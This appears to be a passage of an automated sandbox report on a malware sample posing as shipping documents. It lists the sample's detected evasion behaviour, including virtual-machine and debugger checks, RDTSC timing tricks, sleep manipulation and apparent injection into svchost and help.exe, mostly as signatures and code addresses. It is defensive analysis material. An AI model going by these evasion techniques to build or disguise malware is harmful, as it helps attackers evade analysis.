          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Contains functionality to detect sleep reduction / modifications
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004440780_2_00444078
          Query firmware table information (likely to detect VMs)
          Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformation
          Switches to a custom stack to bypass stack traces
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeAPI/Special instruction interceptor: Address: 3FE6264
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD324
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0774
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0154
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD8A4
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFBCB7ADA44
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD1E4
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD324
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0774
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD944
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD504
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD544
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD1E4
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0154
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD8A4
          Source: C:\Windows\SysWOW64\help.exeAPI/Special instruction interceptor: Address: 7FFBCB7ADA44
          Tries to detect virtualization through RDTSC time measurements
          Source: C:\Windows\SysWOW64\svchost.exeRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\svchost.exeRDTSC instruction interceptor: First address: 409B6E second address: 409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\help.exeRDTSC instruction interceptor: First address: 2499904 second address: 249990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\help.exeRDTSC instruction interceptor: First address: 2499B6E second address: 2499B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\explorer.exeFile opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409AA0 rdtsc 2_2_00409AA0
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 2095Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 7850Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 888Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 863Jump to behavior
          Source: C:\Windows\SysWOW64\help.exeWindow / User API: threadDelayed 5442Jump to behavior
          Source: C:\Windows\SysWOW64\help.exeWindow / User API: threadDelayed 4530Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 604
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 577
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeAPI coverage: 3.2 %
          Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 2.1 %
          Source: C:\Windows\SysWOW64\help.exeAPI coverage: 2.3 %
          Source: C:\Windows\explorer.exe TID: 7836Thread sleep count: 2095 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 7836Thread sleep time: -4190000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 7836Thread sleep count: 7850 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 7836Thread sleep time: -15700000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\help.exe TID: 7656Thread sleep count: 5442 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\help.exe TID: 7656Thread sleep time: -10884000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\help.exe TID: 7656Thread sleep count: 4530 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\help.exe TID: 7656Thread sleep time: -9060000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
          Source: explorer.exe, 0000000D.00000003.2456141152.000000000D0FC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}
          Source: explorer.exe, 00000003.00000002.2312821972.0000000009330000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}F
          Source: explorer.exe, 0000000D.00000003.2461594481.000000000D0B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_`O
          Source: explorer.exe, 0000000D.00000003.2462247931.0000000008A16000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _VMware_SATA_CD00#4&
          Source: explorer.exe, 0000000D.00000003.2462247931.0000000008A16000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
          Source: explorer.exe, 0000000D.00000003.2380904338.0000000008A38000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wsPVMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Devicet\AppData\Local\M^|
          Source: explorer.exe, 00000003.00000002.2299870409.0000000000A20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00=
          Source: explorer.exe, 00000003.00000000.1452754587.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381542057.0000000008C97000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C97000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2723546942.0000000008C97000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 0000000D.00000002.2723546942.0000000008C97000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: l\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000CDB0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
          Source: explorer.exe, 0000000D.00000003.2443619854.000000000D126000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000D.00000003.2462247931.0000000008A16000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2VMware Virtual USB MouseJC:\Windows\System32\DDORes.dll,-2212
          Source: explorer.exe, 00000003.00000002.2312821972.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000090DA000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 0000000D.00000003.2384419569.0000000008B2D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @oem2.infloc.vmwarebusdevicedescVMware VMCI Bus Deviceoem2.inf
          Source: explorer.exe, 0000000D.00000003.2462247931.0000000008A16000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 0000000D.00000003.2452028557.0000000008A37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
          Source: explorer.exe, 00000003.00000000.1457929088.000000000C090000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ata
          Source: explorer.exe, 00000003.00000002.2312821972.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000090DA000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en\volume.inf_loc
          Source: explorer.exe, 0000000D.00000002.2723546942.0000000008D1C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}#
          Source: explorer.exe, 0000000D.00000003.2456141152.000000000D0B2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_
          Source: explorer.exe, 00000003.00000002.2299870409.0000000000A20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 00000003.00000002.2312821972.0000000009255000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTcaVMWare
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000\v
          Source: explorer.exe, 0000000D.00000003.2461594481.000000000D0B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:8
          Source: explorer.exe, 0000000D.00000003.2384419569.0000000008B2D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000nf
          Source: explorer.exe, 0000000D.00000002.2723546942.0000000008D1C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
          Source: explorer.exe, 0000000D.00000002.2721754963.00000000089C2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NXTVMWare
          Source: explorer.exe, 00000003.00000000.1457929088.000000000C090000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}wy6`1
          Source: explorer.exe, 0000000D.00000002.2698342567.0000000001254000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000e
          Source: explorer.exe, 0000000D.00000003.2384419569.0000000008B2D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NECVMWar VMware SATA CD00
          Source: explorer.exe, 0000000D.00000003.2450436727.000000000D0AB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
          Source: explorer.exe, 0000000D.00000003.2315395164.0000000008A24000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000D.00000003.2450436727.000000000D0FC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000D.00000003.2462247931.0000000008A37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2456330575.0000000008A37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2721754963.0000000008A37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2452028557.0000000008A37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2384419569.0000000008A38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2386953425.0000000008A38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380904338.0000000008A38000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-GB\msmouse.inf_loc
          Source: explorer.exe, 0000000D.00000002.2723546942.0000000008C45000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C5A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
          Source: explorer.exe, 0000000D.00000003.2449663691.000000000D1E6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000D.00000002.2698342567.0000000001254000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
          Source: explorer.exe, 00000003.00000002.2312821972.0000000009330000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000003.00000002.2299870409.0000000000A20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\explorer.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\explorer.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\help.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409AA0 rdtsc 2_2_00409AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040ACE0 LdrLoadDll,2_2_0040ACE0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_03FE6530 mov eax, dword ptr fs:[00000030h]0_2_03FE6530
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_03FE64D0 mov eax, dword ptr fs:[00000030h]0_2_03FE64D0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_03FE4EC0 mov eax, dword ptr fs:[00000030h]0_2_03FE4EC0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E388 mov eax, dword ptr fs:[00000030h]2_2_0382E388
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E388 mov eax, dword ptr fs:[00000030h]2_2_0382E388
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E388 mov eax, dword ptr fs:[00000030h]2_2_0382E388
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385438F mov eax, dword ptr fs:[00000030h]2_2_0385438F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385438F mov eax, dword ptr fs:[00000030h]2_2_0385438F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828397 mov eax, dword ptr fs:[00000030h]2_2_03828397
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828397 mov eax, dword ptr fs:[00000030h]2_2_03828397
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828397 mov eax, dword ptr fs:[00000030h]2_2_03828397
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EC3CD mov eax, dword ptr fs:[00000030h]2_2_038EC3CD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B63C0 mov eax, dword ptr fs:[00000030h]2_2_038B63C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov eax, dword ptr fs:[00000030h]2_2_038DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov eax, dword ptr fs:[00000030h]2_2_038DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov ecx, dword ptr fs:[00000030h]2_2_038DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov eax, dword ptr fs:[00000030h]2_2_038DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D43D4 mov eax, dword ptr fs:[00000030h]2_2_038D43D4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D43D4 mov eax, dword ptr fs:[00000030h]2_2_038D43D4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F0 mov eax, dword ptr fs:[00000030h]2_2_0384E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F0 mov eax, dword ptr fs:[00000030h]2_2_0384E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F0 mov eax, dword ptr fs:[00000030h]2_2_0384E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038663FF mov eax, dword ptr fs:[00000030h]2_2_038663FF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A30B mov eax, dword ptr fs:[00000030h]2_2_0386A30B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A30B mov eax, dword ptr fs:[00000030h]2_2_0386A30B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A30B mov eax, dword ptr fs:[00000030h]2_2_0386A30B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C310 mov ecx, dword ptr fs:[00000030h]2_2_0382C310
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850310 mov ecx, dword ptr fs:[00000030h]2_2_03850310
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov eax, dword ptr fs:[00000030h]2_2_03908324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov ecx, dword ptr fs:[00000030h]2_2_03908324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov eax, dword ptr fs:[00000030h]2_2_03908324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov eax, dword ptr fs:[00000030h]2_2_03908324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
